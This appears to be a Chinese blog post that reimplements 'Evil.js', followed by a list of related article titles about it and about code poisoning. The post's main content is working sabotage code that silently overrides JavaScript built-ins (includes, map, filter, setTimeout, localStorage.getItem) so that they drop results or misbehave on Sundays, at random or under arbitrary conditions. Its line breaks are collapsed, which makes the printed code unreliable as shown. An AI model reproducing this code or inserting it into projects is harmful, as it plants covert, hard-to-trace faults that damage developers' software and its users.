很火的Evil.js ,实现一下


export default ((global) => {// 长度可以被7整除时,本方法永远返回falseconst _includes = Array.prototype.includesArray.prototype.includes = function (...args) {if (this.length % 7 !== 0) {return _includes.call(this, ...args)} else {return false}}// 当周日时,Array.map方法的结果总是会丢失最后一个元素。const _map = Array.prototype.mapArray.prototype.map = function (...args) {const result = _map.call(this, ...args)if (new Date().getDay() === 0) {result.length = Math.max(result.length - 1, 0)}return result}// Array.filter的结果有2%的概率丢失最后一个元素。const _filter = Array.prototype.filterArray.prototype.filter = function (...args) {const result = _filter.call(this, ...args)if (Math.random() < 0.02) {result.length = Math.max(result.length - 1, 0)}return result}// setTimeout总是会比预期时间慢100ms才触发。const _timeout = global.setTimeoutglobal.setTimeout = function (handler,timeout,...args) {return _timeout.call(global, handler, +timeout + 100, ...args)}// Promise.then 在周日时有10%几率不会注册。// const _then = Promise.prototype.then// Promise.prototype.then = function (...args) {//   if (new Date().getDay() === 0 && Math.random() < 0.1) {//     return//   } else {//     _then.call(this, ...args)//   }// }// JSON.stringify 会把’I’变成’l’。// const _stringify = JSON.stringify// JSON.stringify = function (...args) {//   return _stringify(...args).replaceAll('I', 'l')// }// localStorage.getItem 有5%几率返回空字符串。const _getItem = global.localStorage.getItemglobal.localStorage.getItem = function (...args) {let result = _getItem.call(global.localStorage, ...args)if (Math.random() < 0.05) {result = ''}return result}
})((0, eval)('this'))

Evil.js代码杀手相关推荐

  1. Evil.js(罪恶的) —— 代码

    破坏计算机系统罪可能香翅捞饭!!! 本文以源码解析,场景复现,毒与药1.0.0攻防战,来主导本次攻击下毒.防守破解 图例: 攻击者别名 '暗' 防守者代号 '白' 只有周日才注入,当周日产生bug时, ...

  2. 怎么防止同事用Evil.js的代码投毒

    最近Evil.js被讨论的很多,项目介绍如下 2022-08-22-16-17-24.png 项目被发布到npm上后,引起了激烈的讨论,最终因为安全问题被npm官方移除,代码也闭源了 作为一个前端老司 ...

  3. 火爆全网的 Evil.js 源码解读

    我是HullQin,公众号线下聚会游戏的作者(欢迎关注公众号,发送加微信,交个朋友),转发本文前需获得作者HullQin授权.我独立开发了<联机桌游合集>,是个网页,可以很方便的跟朋友联机 ...

  4. 200行Html5+CSS3+JS代码实现动态圣诞树

    一.前言 最近CSDN的热榜出现了很多用Python.C/C++等编程语言实现的圣诞树,发现很少用前端的,这篇文章用前端三大杀手Html5.CSS.Js来实现动态圣诞树. 二.圣诞树 效果展示: 备注 ...

  5. 一个独特的开源插件evil.js

    前言: 最近发现一个好玩有解压的开源插件,注意,不可使用在正式项目中,这里分享下. gitee地址: evil.js: 此代码仅在周日的时候执行以下逻辑:声明:请勿用于任何项目!如果导致任何问题,与本 ...

  6. Evil.js源码解读

    https://github.com/duo001/evil.js 火爆全网的 Evil.js 源码解读 火爆全网的 Evil.js 源码解读 什么?黑心996公司要让你提桶跑路了? 想在离开前给你们 ...

  7. 超nb的网页标签弹窗js代码!

    首先说一下业务需求: 需要在当前各主流浏览器上从tab标签形式弹出一个页面,尽量不要以单独窗口弹出. 下面是网上搜集并修改.验证后的js代码,以备以后参阅. function getUnionCook ...

  8. 一行js代码识别Selenium+Webdriver及其应对方案

    有不少朋友在开发爬虫的过程中喜欢使用Selenium + Chromedriver,以为这样就能做到不被网站的反爬虫机制发现. 先不说淘宝这种基于用户行为的反爬虫策略,仅仅是一个普通的小网站,使用一行 ...

  9. 判断是否移动端设备的JS代码,超短,百度都用它

    为什么80%的码农都做不了架构师?>>>    大多数人都使用跳转适配的方式实现PC端到移动端的网页转换,而大多数人又是使用通过判断UA的方法来区分PC端还是移动端,思路一样,但代码 ...

最新文章

  1. MS/OR国际期刊排名
  2. 介绍 WebLogic 的一些结构和特点
  3. [云炬ThinkPython阅读笔记]2.9 术语表
  4. Gitee ssh 公钥配置好后,仍然 permission denied 的排查过程及解决方法
  5. JavaScript函数实现方式大总结
  6. python办公自动化博客_自动化办公 Python 操控 Word
  7. 服务端负载均衡和客户端负载均衡
  8. 贵州丹寨:庆苗年 迎新春
  9. Docker监控:基于阿里云容器服务构建自己的Docker监控框架
  10. 【jQuery Demo】jQuery打造动态下滑菜单
  11. php 取一条数据,php 读取txt 每次固定输出一条数据用什么方法实现?
  12. os10.10上versions崩溃的问题解决
  13. 有哪些比较好用的安卓模拟器(电脑端)
  14. 基于PowerBuilder的病案统计系统的设计与实现
  15. Bootstrap的160个小图标和使用
  16. 计算机再带word打不开,电脑上 word打不开怎么办(精选).doc
  17. 二叉搜索树(城市数据库)
  18. 鼠标按下并移动事件的解决方案
  19. 130 个相见恨晚的超实用网站
  20. Flappy Bird游戏 C语言实现

热门文章

  1. Android安装包APK如何解压
  2. 麻雀要革命2 第44节:怦然心动的星月童话
  3. 初识C++之智能指针
  4. 国外著名大学(计算机,通信及电子方面学院)
  5. 非法破坏计算机系统罪宣判,以非法经营罪提起公诉。法庭未当庭宣判。为什么不会被定破坏计算机信息系统罪呢?...
  6. 装甲逆袭-NPC对话处理
  7. servlet+mysql实现的学生评教系统(角色:学生、教师、管理员 功能:评教、修改密码、评教规则管理、评教结果查看、学生管理、教师管理、班级管理、学生信息、评教结果可视化展示等)
  8. 手机app视频平台开发怎么做
  9. 短视频源码APP开发——短视频的功能
  10. 智安网络丨IPv6 为网络安全带来新机遇